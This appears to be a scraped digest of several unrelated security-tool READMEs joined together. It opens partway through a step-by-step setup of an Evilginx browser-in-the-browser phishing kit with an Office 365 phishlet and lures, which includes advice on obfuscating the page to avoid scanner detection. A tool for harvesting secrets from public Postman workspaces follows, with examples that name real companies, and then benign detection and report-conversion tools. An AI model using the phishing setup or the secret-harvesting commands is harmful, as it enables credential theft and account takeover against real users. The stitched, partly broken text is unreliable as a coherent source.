Ubuntu firewall quick fix (thanks to @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
On Ubuntu, if you get Failed to start nameserver on: :53 error, try modifying this file
sudo nano /etc/systemd/resolved.conf
edit/add the DNSStubListener to no > DNSStubListener=no
then
sudo systemctl restart systemd-resolved
Since we will be using Apache2 in front of Evilginx, we need to make Evilginx listen to a different port than 443.
nano ~/.evilginx/config.json
CHANGE https_port from 443 to 8443
Install Apache2:
sudo apt install apache2 -y
Enable Apache2 mods that will be used: (We are also disabling access_compat module as it sometimes causes issues)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Start and enable Apache:
sudo systemctl start apache2
sudo systemctl enable apache2
Try if Apache and VM networking works by visiting the VM's IP from a browser on the host machine.
Install git if not already available:
sudo apt -y install git
Clone this repo:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
Make directories for the pages we will be serving:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Copy the directories for each page:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
Optional: Remove the default Apache page (not used):
sudo rm -r /var/www/html/
Copy the O365 phishlet to phishlets directory:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
Optional: To set the Calendly widget to use your account instead of the default I have inside, go to pages/primary/script.js and change the CALENDLY_PAGE_NAME and CALENDLY_EVENT_TYPE.
Note on Demo Obfuscation: As I explain in the walkthrough video, I included a minimal obfuscation for text content like URLs and titles of the BITB. You can open the demo obfuscator by opening demo-obfuscator.html in your browser. In a real-world scenario, I would highly recommend that you obfuscate larger chunks of the HTML code injected or use JS tricks to avoid being detected and flagged. The advanced version I am working on will use a combination of advanced tricks to make it nearly impossible for scanners to fingerprint/detect the BITB code, so stay tuned.
Since we are running everything locally, we need to generate self-signed SSL certificates that will be used by Apache. Evilginx will not need the certs as we will be running it in developer mode.
We will use the domain fake.com which will point to our local VM. If you want to use a different domain, make sure to change the domain in all files (Apache conf files, JS files, etc.)
Create dir and parents if they do not exist:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
Generate the SSL certs using the OpenSSL config file:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
Modify private key permissions:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
Copy custom substitution files (the core of our approach):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
Important Note: In this repo I have included 2 substitution configs for Chrome on Mac and Chrome on Windows BITB. Both have auto-detection and styling for light/dark mode and they should act as base templates to achieve the same for other browser/OS combos. Since I did not include automatic detection of the browser/OS combo used to visit our phishing page, you will have to use one of two or implement your own logic for automatic switching.
Both config files under /apache-configs/ are the same, only with a different Include directive used for the substitution file that will be included. (there are 2 references for each file)
# Uncomment the one you want and remember to restart Apache after any changes:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
Simply to make it easier, I included both versions as separate files for this next step.
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Test Apache configs to ensure there are no errors:
sudo apache2ctl configtest
Restart Apache to apply changes:
sudo systemctl restart apache2
Get the IP of the VM using ifconfig and note it somewhere for the next step.
We now need to add new entries to our hosts file, to point the domain used in this demo fake.com and all used subdomains to our VM on which Apache and Evilginx are running.
On Windows:
Open Notepad as Administrator (Search > Notepad > Right-Click > Run as Administrator)
Click on the File option (top-left) and in the File Explorer address bar, copy and paste the following:
C:\Windows\System32\drivers\etc\
Change the file types (bottom-right) to "All files".
Double-click the file named hosts
On Mac:
Open a terminal and run the following:
sudo nano /private/etc/hosts
Now modify the following records (replace [IP] with the IP of your VM) then paste the records at the end of the hosts file:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
Save and exit.
Now restart your browser before moving to the next step.
Note: On Mac, use the following command to flush the DNS cache:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
This demo is made with the provided Office 365 Enterprise phishlet. To get the host entries you need to add for a different phishlet, use phishlet get-hosts [PHISHLET_NAME] but remember to replace the 127.0.0.1 with the actual local IP of your VM.
Since we are using self-signed SSL certificates, our browser will warn us every time we try to visit fake.com so we need to make our host machine trust the certificate authority that signed the SSL certs.
For this step, it's easier to follow the video instructions, but here is the gist anyway.
Open https://fake.com/ in your Chrome browser.
Ignore the Unsafe Site warning and proceed to the page.
Click the SSL icon > Details > Export Certificate IMPORTANT: When saving, the name MUST end with .crt for Windows to open it correctly.
Double-click it > install for current user. Do NOT select automatic, instead place the certificate in specific store: select "Trusted Route Certification Authorities".
On Mac: to install for current user only > select "Keychain: login" AND click on "View Certificates" > details > trust > Always trust
Now RESTART your Browser
You should be able to visit https://fake.com now and see the homepage without any SSL warnings.
At this point, everything should be ready so we can go ahead and start Evilginx, set up the phishlet, create our lure, and test it.
Optional: Install tmux (to keep evilginx running even if the terminal session is closed. Mainly useful when running on remote VM.)
sudo apt install tmux -y
Start Evilginx in developer mode (using tmux to avoid losing the session):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(To re-attach to the tmux session use tmux attach-session -t evilginx)
Evilginx Config:
config domain fake.com
config ipv4 127.0.0.1
IMPORTANT: Set Evilginx Blacklist mode to NoAdd to avoid blacklisting Apache since all requests will be coming from Apache and not the actual visitor IP.
blacklist noadd
Setup Phishlet and Lure:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
Copy the lure URL and visit it from your browser (use Guest user on Chrome to avoid having to delete all saved/cached data between tests).
Original iframe-based BITB by @mrd0x: https://github.com/mrd0x/BITB
Evilginx Mastery Course by the creator of Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery
My talk at BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg
How to protect Evilginx using Cloudflare and HTML Obfuscation: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
Evilginx resources for Microsoft 365 by @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/
Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.
Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:
python3 -m pip install porch-pirate
The Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.
Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.
--globals--collections--requests--urls--dump--raw--curlporch-pirate -s "coca-cola.com"
By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8
When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dump
Porch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.
porch-pirate -s "shopify" --globals
Porch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.
porch-pirate -s "coca-cola.com" --dump
A particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urls
Porch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.
porch-pirate -s "coca-cola.com" --urls
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collections
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requests
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --raw
porch-pirate -w WORKSPACE_ID
porch-pirate -c COLLECTION_ID
porch-pirate -r REQUEST_ID
porch-pirate -u USERNAME/TEAMNAME
Porch Pirate can build curl requests when provided with a request ID for easier testing.
porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curl
porch-pirate -s coca-cola.com --proxy 127.0.0.1:8080
p = porchpirate()
print(p.search('coca-cola.com'))
p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']:
requests = collection['requests']
for r in requests:
request_data = p.request(r['id'])
print(request_data)
p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
Other library usage examples can be located in the examples directory, which contains the following examples:
dump_workspace.pyformat_search_results.pyformat_workspace_collections.pyformat_workspace_globals.pyget_collection.pyget_collections.pyget_profile.pyget_request.pyget_statistics.pyget_team.pyget_user.pyget_workspace.pyrecursive_globals_from_search.pyrequest_to_curl.pysearch.pysearch_by_page.pyworkspace_collections.py
Permiso: https://permiso.io
Read our release blog: https://permiso.io/blog/cloudgrappler-a-powerful-open-source-threat-detection-tool-for-cloud-environments
CloudGrappler is a purpose-built tool designed for effortless querying of high-fidelity and single-event detections related to well-known threat actors in popular cloud environments such as AWS and Azure.
To optimize your utilization of CloudGrappler, we recommend using shorter time ranges when querying for results. This approach enhances efficiency and accelerates the retrieval of information, ensuring a more seamless experience with the tool.
bash pip3 install -r requirements.txt
To clone the cloudgrep repository locally, run the clone.sh file. Alternatively, you can manually clone the repository into the same directory where CloudGrappler was cloned.
bash chmod +x clone.sh ./clone.sh
This tool offers a CLI (Command Line Interface). As such, here we review its use:
Define the scanning scope inside data_sources.json file based on your cloud infrastructure configuration. The following example showcases a structured data_sources.json file for both AWS and Azure environments:
Modifying the source inside the queries.json file to a wildcard character (*) will scan the corresponding query across both AWS and Azure environments.
{
"AWS": [
{
"bucket": "cloudtrail-logs-00000000-ffffff",
"prefix": [
"testTrails/AWSLogs/00000000/CloudTrail/eu-east-1/2024/03/03",
"testTrails/AWSLogs/00000000/CloudTrail/us-west-1/2024/03/04"
]
},
{
"bucket": "aws-kosova-us-east-1-00000000"
}
],
"AZURE": [
{
"accountname": "logs",
"container": [
"cloudgrappler"
]
}
]
}
Run command
python3 main.py
python3 main.py -p
[+] Running GetFileDownloadUrls.*secrets_ for AWS
[+] Threat Actor: LUCR3
[+] Severity: MEDIUM
[+] Description: Review use of CloudShell. Permiso seldom witnesses use of CloudShell outside of known attackers.This however may be a part of your normal business use case.
python3 main.py -p -jo
reports
โโโ json
โโโ AWS
โย ย โโโ 2024-03-04 01:01 AM
โย ย โโโ cloudtrail-logs-00000000-ffffff--
โย ย โโโ testTrails/AWSLogs/00000000/CloudTrail/eu-east-1/2024/03/03
โย ย โโโ GetFileDownloadUrls.*secrets_.json
โโโ AZURE
โโโ 2024-03-04 01:01 AM
โโโ logs
โโโ cloudgrappler
โโโ okta_key.json
python3 main.py -p -sd 2024-02-15 -ed 2024-02-16
python3 main.py -q "GetFileDownloadUrls.*secret", "UpdateAccessKey" -s '*'
python3 main.py -f new_file.json
Your system will need access to the S3 bucket. For example, if you are running on your laptop, you will need to configure the AWS CLI. If you are running on an EC2, an Instance Profile is likely the best choice.
If you run on an EC2 instance in the same region as the S3 bucket with a VPC endpoint for S3 you can avoid egress charges. You can authenticate in a number of ways.
The simplest way to authenticate with Azure is to first run:
az login
This will open a browser window and prompt you to login to Azure.
ST Smart Things Sentinel is an advanced security tool engineered specifically to scrutinize and detect threats within the intricate protocols utilized by IoT (Internet of Things) devices. In the ever-expanding landscape of connected devices, ST Smart Things Sentinel emerges as a vigilant guardian, specializing in protocol-level threat detection. This tool empowers users to proactively identify and neutralize potential security risks, ensuring the integrity and security of IoT ecosystems.
~ Hilali Abdel
USAGE
python st_tool.py [-h] [-s] [--add ADD] [--scan SCAN] [--id ID] [--search SEARCH] [--bug BUG] [--firmware FIRMWARE] [--type TYPE] [--detect] [--tty] [--uart UART] [--fz FZ]
[Add new Device]
python3 smartthings.py -a 192.168.1.1
python3 smarthings.py -s --type TPLINK
python3 smartthings.py -s --firmware TP-Link Archer C7v2
Search for CVE and Poc [ firmware and device type]
Scan device for open upnp ports
python3 smartthings.py -s --scan upnp --id
get data from mqtt 'subscribe'
python3 smartthings.py -s --scan mqtt --id
This tool takes a scanning tool's output file, and converts it to a tabular format (CSV, XLSX, or text table). This tool can process output from the following tools:
This tool can offer a human-readable, tabular format which you can tie to any observations you have drafted in your report. Why? Because then your reviewers can tell that you, the pentester, investigated all found open ports, and looked at all scanning reports.
Using Pip:
pip install --user sr2t
You can use sr2t in two ways:
sr2t --help.python -m src.sr2t --help
$ sr2t --help
usage: sr2t [-h] [--nessus NESSUS [NESSUS ...]] [--nmap NMAP [NMAP ...]]
[--nikto NIKTO [NIKTO ...]] [--dirble DIRBLE [DIRBLE ...]]
[--testssl TESTSSL [TESTSSL ...]]
[--fortify FORTIFY [FORTIFY ...]] [--nmap-state NMAP_STATE]
[--nmap-services] [--no-nessus-autoclassify]
[--nessus-autoclassify-file NESSUS_AUTOCLASSIFY_FILE]
[--nessus-tls-file NESSUS_TLS_FILE]
[--nessus-x509-file NESSUS_X509_FILE]
[--nessus-http-file NESSUS_HTTP_FILE]
[--nessus-smb-file NESSUS_SMB_FILE]
[--nessus-rdp-file NESSUS_RDP_FILE]
[--nessus-ssh-file NESSUS_SSH_FILE]
[--nessus-min-severity NESSUS_MIN_SEVERITY]
[--nessus-plugin-name-width NESSUS_PLUGIN_NAME_WIDTH]
[--nessus-sort-by NESSUS_SORT_BY]
[--nikto-description-width NIKTO_DESCRIPTION_WIDTH]< br/> [--fortify-details] [--annotation-width ANNOTATION_WIDTH]
[-oC OUTPUT_CSV] [-oT OUTPUT_TXT] [-oX OUTPUT_XLSX]
[-oA OUTPUT_ALL]
Converting scanning reports to a tabular format
optional arguments:
-h, --help show this help message and exit
--nmap-state NMAP_STATE
Specify the desired state to filter (e.g.
open|filtered).
--nmap-services Specify to ouput a supplemental list of detected
services.
--no-nessus-autoclassify
Specify to not autoclassify Nessus results.
--nessus-autoclassify-file NESSUS_AUTOCLASSIFY_FILE
Specify to override a custom Nessus autoclassify YAML
file.
--nessus-tls-file NESSUS_TLS_FILE
Specify to override a custom Nessus TLS findings YAML
file.
--nessus-x509-file NESSUS_X509_FILE
Specify to override a custom Nessus X.509 findings
YAML file.
--nessus-http-file NESSUS_HTTP_FILE
Specify to override a custom Nessus HTTP findings YAML
file.
--nessus-smb-file NESSUS_SMB_FILE
Specify to override a custom Nessus SMB findings YAML
file.
--nessus-rdp-file NESSUS_RDP_FILE
Specify to override a custom Nessus RDP findings YAML
file.
--nessus-ssh-file NESSUS_SSH_FILE
Specify to override a custom Nessus SSH findings YAML
file.
--nessus-min-severity NESSUS_MIN_SEVERITY
Specify the minimum severity to output (e.g. 1).
--nessus-plugin-name-width NESSUS_PLUGIN_NAME_WIDTH
Specify the width of the pluginid column (e.g. 30).
--nessus-sort-by NESSUS_SORT_BY
Specify to sort output by ip-address, port, plugin-id,
plugin-name or severity.
--nikto-description-width NIKTO_DESCRIPTION_WIDTH
Specify the width of the description column (e.g. 30).
--fortify-details Specify to include the Fortify abstracts, explanations
and recommendations for each vulnerability.
--annotation-width ANNOTATION_WIDTH
Specify the width of the annotation column (e.g. 30).
-oC OUTPUT_CSV, --output-csv OUTPUT_CSV
Specify the output CSV basename (e.g. output).
-oT OUTPUT_TXT, --output-txt OUTPUT_TXT
Specify the output TXT file (e.g. output.txt).
-oX OUTPUT_XLSX, --output-xlsx OUTPUT_XLSX
Specify the outpu t XLSX file (e.g. output.xlsx). Only
for Nessus at the moment
-oA OUTPUT_ALL, --output-all OUTPUT_ALL
Specify the output basename to output to all formats
(e.g. output).
specify at least one:
--nessus NESSUS [NESSUS ...]
Specify (multiple) Nessus XML files.
--nmap NMAP [NMAP ...]
Specify (multiple) Nmap XML files.
--nikto NIKTO [NIKTO ...]
Specify (multiple) Nikto XML files.
--dirble DIRBLE [DIRBLE ...]
Specify (multiple) Dirble XML files.
--testssl TESTSSL [TESTSSL ...]
Specify (multiple) Testssl JSON files.
--fortify FORTIFY [FORTIFY ...]
Specify (multiple) HP Fortify FPR files.
A few examples
To produce an XLSX format:
$ sr2t --nessus example/nessus.nessus --no-nessus-autoclassify -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --nessus example/nessus.nessus
+---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
| host | port | plugin id | plugin name | severity | annotations |
+---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
| 192.168.142.4 | 3389 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
| 192.168.142.4 | 443 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
| 192.168.142.4 | 3389 | 18405 | Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness | 2 | X |
| 192.168.142.4 | 3389 | 30218 | Terminal Services Encryption Level is not FIPS-140 Compliant | 1 | X |
| 192.168.142.4 | 3389 | 57690 | Terminal Services Encryption Level is Medium or Low | 2 | X |
| 192.168.142.4 | 3389 | 58453 | Terminal Services Doesn't Use Network Level Authentication (NLA) Only | 2 | X |
| 192.168.142.4 | 3389 | 45411 | SSL Certificate with Wrong Hostname | 2 | X |
| 192.168.142.4 | 443 | 45411 | SSL Certificate with Wrong Hostname | 2 | X |
| 192.168.142.4 | 3389 | 35291 | SSL Certificate Signed Using Weak Hashing Algorithm | 2 | X |
| 192.168.142.4 | 3389 | 57582 | SSL Self-Signed Certificate | 2 | X |
| 192.168.142.4 | 3389 | 51192 | SSL Certificate Can not Be Trusted | 2 | X |
| 192.168.142.2 | 3389 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
| 192.168.142.2 | 443 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
| 192.168.142.2 | 3389 | 18405 | Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness | 2 | X |
| 192.168.142.2 | 3389 | 30218 | Terminal Services Encryption Level is not FIPS-140 Compliant | 1 | X |
| 192.168.142.2 | 3389 | 57690 | Terminal Services Encryption Level is Medium or Low | 2 | X |
| 192.168.142.2 | 3389 | 58453 | Terminal Services Doesn't Use Network Level Authentication (NLA) Only | 2 | X |
| 192.168.142.2 | 3389 | 45411 | S SL Certificate with Wrong Hostname | 2 | X |
| 192.168.142.2 | 443 | 45411 | SSL Certificate with Wrong Hostname | 2 | X |
| 192.168.142.2 | 3389 | 35291 | SSL Certificate Signed Using Weak Hashing Algorithm | 2 | X |
| 192.168.142.2 | 3389 | 57582 | SSL Self-Signed Certificate | 2 | X |
| 192.168.142.2 | 3389 | 51192 | SSL Certificate Cannot Be Trusted | 2 | X |
| 192.168.142.2 | 445 | 57608 | SMB Signing not required | 2 | X |
+---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
Or to output a CSV file:
$ sr2t --nessus example/nessus.nessus -oC example
$ cat example_nessus.csv
host,port,plugin id,plugin name,severity,annotations
192.168.142.4,3389,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.4,443,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.4,3389,18405,Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness,2,X
192.168.142.4,3389,30218,Terminal Services Encryption Level is not FIPS-140 Compliant,1,X
192.168.142.4,3389,57690,Terminal Services Encryption Level is Medium or Low,2,X
192.168.142.4,3389,58453,Terminal Services Doesn't Use Network Level Authentication (NLA) Only,2,X
192.168.142.4,3389,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.4,443,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.4,3389,35291,SSL Certificate Signed Using Weak Hashing Algorithm,2,X
192.168.142.4,3389,57582,SSL Self-Signed Certificate,2,X
192.168.142.4,3389,51192,SSL Certificate Cannot Be Trusted,2,X
192.168.142.2,3389,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.2,443,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.2,3389,18405,Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness,2,X
192.168.142.2,3389,30218,Terminal Services Encryption Level is not FIPS-140 Compliant,1,X
192.168.142.2,3389,57690,Terminal Services Encryption Level is Medium or Low,2,X
192.168.142.2,3389,58453,Terminal Services Doesn't Use Network Level Authentication (NLA) Only,2,X
192.168.142.2,3389,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.2,443,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.2,3389,35291,SSL Certificate Signed Using Weak Hashing Algorithm,2,X
192.168.142.2,3389,57582,SSL Self-Signed Certificate,2,X
192.168.142.2,3389,51192,SSL Certificate Cannot Be Trusted,2,X
192.168.142.2,44 5,57608,SMB Signing not required,2,X
To produce an XLSX format:
$ sr2t --nmap example/nmap.xml -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --nmap example/nmap.xml --nmap-services
Nmap TCP:
+-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
| | 53 | 80 | 88 | 135 | 139 | 389 | 445 | 3389 | 5800 | 5900 |
+-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
| 192.168.23.78 | X | | X | X | X | X | X | X | | |
| 192.168.27.243 | | | | X | X | | X | X | X | X |
| 192.168.99.164 | | | | X | X | | X | X | X | X |
| 192.168.228.211 | | X | | | | | | | | |
| 192.168.171.74 | | | | X | X | | X | X | X | X |
+-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
Nmap Services:
+-----------------+------+-------+---------------+-------+
| ip address | port | proto | service | state |
+--------------- --+------+-------+---------------+-------+
| 192.168.23.78 | 53 | tcp | domain | open |
| 192.168.23.78 | 88 | tcp | kerberos-sec | open |
| 192.168.23.78 | 135 | tcp | msrpc | open |
| 192.168.23.78 | 139 | tcp | netbios-ssn | open |
| 192.168.23.78 | 389 | tcp | ldap | open |
| 192.168.23.78 | 445 | tcp | microsoft-ds | open |
| 192.168.23.78 | 3389 | tcp | ms-wbt-server | open |
| 192.168.27.243 | 135 | tcp | msrpc | open |
| 192.168.27.243 | 139 | tcp | netbios-ssn | open |
| 192.168.27.243 | 445 | tcp | microsoft-ds | open |
| 192.168.27.243 | 3389 | tcp | ms-wbt-server | open |
| 192.168.27.243 | 5800 | tcp | vnc-http | open |
| 192.168.27.243 | 5900 | tcp | vnc | open |
| 192.168.99.164 | 135 | tcp | msrpc | open |
| 192.168.99.164 | 139 | tcp | netbios-ssn | open |
| 192 .168.99.164 | 445 | tcp | microsoft-ds | open |
| 192.168.99.164 | 3389 | tcp | ms-wbt-server | open |
| 192.168.99.164 | 5800 | tcp | vnc-http | open |
| 192.168.99.164 | 5900 | tcp | vnc | open |
| 192.168.228.211 | 80 | tcp | http | open |
| 192.168.171.74 | 135 | tcp | msrpc | open |
| 192.168.171.74 | 139 | tcp | netbios-ssn | open |
| 192.168.171.74 | 445 | tcp | microsoft-ds | open |
| 192.168.171.74 | 3389 | tcp | ms-wbt-server | open |
| 192.168.171.74 | 5800 | tcp | vnc-http | open |
| 192.168.171.74 | 5900 | tcp | vnc | open |
+-----------------+------+-------+---------------+-------+
Or to output a CSV file:
$ sr2t --nmap example/nmap.xml -oC example
$ cat example_nmap_tcp.csv
ip address,53,80,88,135,139,389,445,3389,5800,5900
192.168.23.78,X,,X,X,X,X,X,X,,
192.168.27.243,,,,X,X,,X,X,X,X
192.168.99.164,,,,X,X,,X,X,X,X
192.168.228.211,,X,,,,,,,,
192.168.171.74,,,,X,X,,X,X,X,X
To produce an XLSX format:
$ sr2t --nikto example/nikto.xml -oX example/nikto.xlsx
To produce an text tabular format to stdout:
$ sr2t --nikto example/nikto.xml
+----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
| target ip | target hostname | target port | description | annotations |
+----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
| 192.168.178.10 | 192.168.178.10 | 80 | The anti-clickjacking X-Frame-Options header is not present. | X |
| 192.168.178.10 | 192.168.178.10 | 80 | The X-XSS-Protection header is not defined. This header can hint to the user | X |
| | | | agent to protect against some forms of XSS | |
| 192.168.178.10 | 192.168.178.10 | 8 0 | The X-Content-Type-Options header is not set. This could allow the user agent to | X |
| | | | render the content of the site in a different fashion to the MIME type | |
+----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
Or to output a CSV file:
$ sr2t --nikto example/nikto.xml -oC example
$ cat example_nikto.csv
target ip,target hostname,target port,description,annotations
192.168.178.10,192.168.178.10,80,The anti-clickjacking X-Frame-Options header is not present.,X
192.168.178.10,192.168.178.10,80,"The X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS",X
192.168.178.10,192.168.178.10,80,"The X-Content-Type-Options header is not set. This could allow the user agent to
render the content of the site in a different fashion to the MIME type",X
To produce an XLSX format:
$ sr2t --dirble example/dirble.xml -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --dirble example/dirble.xml
+-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
| url | code | content len | is directory | is listable | found from listable | redirect url | annotations |
+-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
| http://example.org/flv | 0 | 0 | false | false | false | | X |
| http://example.org/hire | 0 | 0 | false | false | false | | X |
| http://example.org/phpSQLiteAdmin | 0 | 0 | false | false | false | | X |
| http://example.org/print_order | 0 | 0 | false | false | fa lse | | X |
| http://example.org/putty | 0 | 0 | false | false | false | | X |
| http://example.org/receipts | 0 | 0 | false | false | false | | X |
+-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
Or to output a CSV file:
$ sr2t --dirble example/dirble.xml -oC example
$ cat example_dirble.csv
url,code,content len,is directory,is listable,found from listable,redirect url,annotations
http://example.org/flv,0,0,false,false,false,,X
http://example.org/hire,0,0,false,false,false,,X
http://example.org/phpSQLiteAdmin,0,0,false,false,false,,X
http://example.org/print_order,0,0,false,false,false,,X
http://example.org/putty,0,0,false,false,false,,X
http://example.org/receipts,0,0,false,false,false,,X
To produce an XLSX format:
$ sr2t --testssl example/testssl.json -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --testssl example/testssl.json
+-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
| ip address | port | BREACH | No HSTS | No PFS | No TLSv1.3 | RC4 | TLSv1.0 | TLSv1.1 | Wildcard |
+-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
| rc4-md5.badssl.com/104.154.89.105 | 443 | X | X | X | X | X | X | X | X |
+-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
Or to output a CSV file:
$ sr2t --testssl example/testssl.json -oC example
$ cat example_testssl.csv
ip address,port,BREACH,No HSTS,No PFS,No TLSv1.3,RC4,TLSv1.0,TLSv1.1,Wildcard
rc4-md5.badssl.com/104.154.89.105,443,X,X,X,X,X,X,X,X
To produce an XLSX format:
$ sr2t --fortify example/fortify.fpr -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --fortify example/fortify.fpr
+--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
| | type | subtype | severity | confidence | annotations |
+--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
| example1/web.xml:135:135 | J2EE Misconfiguration | Insecure Transport | 3.0 | 5.0 | X |
| example2/web.xml:150:150 | J2EE Misconfiguration | Insecure Transport | 3.0 | 5.0 | X |
| example3/web.xml:109:109 | J2EE Misconfiguration | Incomplete Error Handling | 3.0 | 5.0 | X |
| example4/web.xml:108:108 | J2EE Misconfiguration | Incomplete Error Handling | 3.0 | 5.0 | X |
| example5/web.xml:166:166 | J2EE Misconfiguration | Inse cure Transport | 3.0 | 5.0 | X |
| example6/web.xml:2:2 | J2EE Misconfiguration | Excessive Session Timeout | 3.0 | 5.0 | X |
| example7/web.xml:162:162 | J2EE Misconfiguration | Missing Authentication Method | 3.0 | 5.0 | X |
+--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
Or to output a CSV file:
$ sr2t --fortify example/fortify.fpr -oC example
$ cat example_fortify.csv
,type,subtype,severity,confidence,annotations
example1/web.xml:135:135,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
example2/web.xml:150:150,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
example3/web.xml:109:109,J2EE Misconfiguration,Incomplete Error Handling,3.0,5.0,X
example4/web.xml:108:108,J2EE Misconfiguration,Incomplete Error Handling,3.0,5.0,X
